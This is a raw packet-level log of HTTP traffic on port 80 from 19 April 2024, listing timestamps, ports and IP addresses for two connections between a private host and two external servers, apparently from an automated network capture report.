Apr 19, 2024 03:29:04.803041935 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803061008 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803101063 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803114891 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803139925 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803153992 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803195000 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803256035 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803304911 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803307056 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803345919 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803359032 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803385019 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803402901 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803422928 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803433895 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803474903 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803482056 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803520918 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803531885 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803560972 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803581953 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803601027 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803612947 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803638935 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803649902 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803678989 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803689003 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803716898 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803728104 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803757906 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803766012 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803805113 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803828955 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803889036 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.803937912 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803983927 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.803993940 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.804034948 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.804054022 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804111004 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.804255009 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804292917 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804305077 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.804342031 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.804383039 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804424047 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804483891 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.804599047 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804636002 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804673910 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804708004 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.804714918 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804733038 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.804786921 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.804832935 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804970980 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.804985046 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805110931 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805140972 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805164099 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805202007 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805229902 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805265903 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805294037 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805332899 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805346012 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805372000 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805382967 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805425882 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805491924 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805545092 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805614948 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805654049 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805666924 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805694103 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805706978 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805743933 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805746078 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805794954 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805852890 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805892944 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.805903912 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.805947065 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806014061 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806052923 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806066036 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806103945 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806164980 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.806205034 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.806230068 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.806243896 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.806252956 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.806282997 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.806291103 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.806324005 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.806334972 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.806363106 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.806374073 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.806401014 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806412935 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.806440115 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806453943 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806478024 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.806489944 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806519032 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.806529999 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.806559086 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806570053 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.806597948 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806607962 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806637049 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806648016 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806675911 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806688070 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806714058 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806723118 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806755066 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806763887 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806792021 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806804895 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806829929 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806842089 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806868076 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806879997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806905985 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806910992 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806945086 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806957006 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.806983948 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.806994915 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807022095 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.807030916 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807060003 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.807071924 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.807099104 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.807107925 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.807140112 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.807147980 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.807178020 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807188034 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.807216883 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807229042 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807255030 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807265043 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807292938 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807305098 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807336092 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.807344913 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807374954 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.807387114 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.807414055 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.807420015 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.807451963 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.807461977 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.807492971 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807501078 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.807532072 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807544947 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807569981 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807580948 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807606936 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807621002 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807646036 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807657003 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807683945 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807697058 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807723045 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807734013 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807763100 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807773113 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807801962 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807811975 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807840109 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807856083 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807878017 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.807885885 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.807917118 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.807929039 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.807955980 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.807965994 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.807995081 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808006048 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808034897 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808043957 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808073044 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808089972 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808113098 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808130980 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808168888 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808181047 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808207989 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808221102 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808248997 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808264017 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808288097 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808299065 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808325052 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808331966 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808363914 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808376074 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808402061 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808413029 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808442116 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.808453083 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808480978 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.808495045 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.808520079 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808527946 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.808558941 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808568954 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808598042 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808610916 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808638096 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808649063 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808676004 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808682919 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808720112 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808734894 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808762074 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808768034 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808799982 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808814049 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808839083 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808851957 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808876991 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808885098 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808914900 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808933973 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808952093 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.808964014 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.808990002 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.809000969 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.809026957 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.809041977 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.809067965 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.809079885 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.809106112 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.809115887 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.809144020 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.809154987 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.809176922 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.809191942 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.809195042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.809212923 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.809220076 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.809232950 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.809242010 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.809252024 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.809263945 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.809273005 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.809286118 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.809309959 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.809329987 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.053591013 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053618908 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053637981 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053657055 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053673983 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053693056 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053710938 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053730965 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053742886 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.053750038 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053812027 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053822994 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.053845882 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053869009 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053885937 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053898096 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.053905010 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053924084 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053929090 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.053952932 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053971052 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.053978920 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.053988934 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054008961 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054022074 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054027081 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054043055 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054044008 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054084063 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054092884 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054121971 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054155111 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054157972 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054217100 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054271936 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054296970 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054337025 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054352999 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054374933 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054385900 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054414988 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054428101 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054462910 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054466009 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054511070 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054574966 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054611921 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054630041 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054658890 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054738045 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054778099 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054790020 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054825068 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054832935 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.054886103 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.054980993 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055021048 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055033922 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055071115 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055145025 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055193901 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055203915 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055243015 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055253029 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055284023 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055294991 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055326939 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.055330992 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055366039 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055403948 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055419922 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055445910 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055452108 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055480957 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.055485010 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.055495024 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055524111 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.055562019 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.055598974 CEST	80	49714	193.233.132.56	192.168.2.5
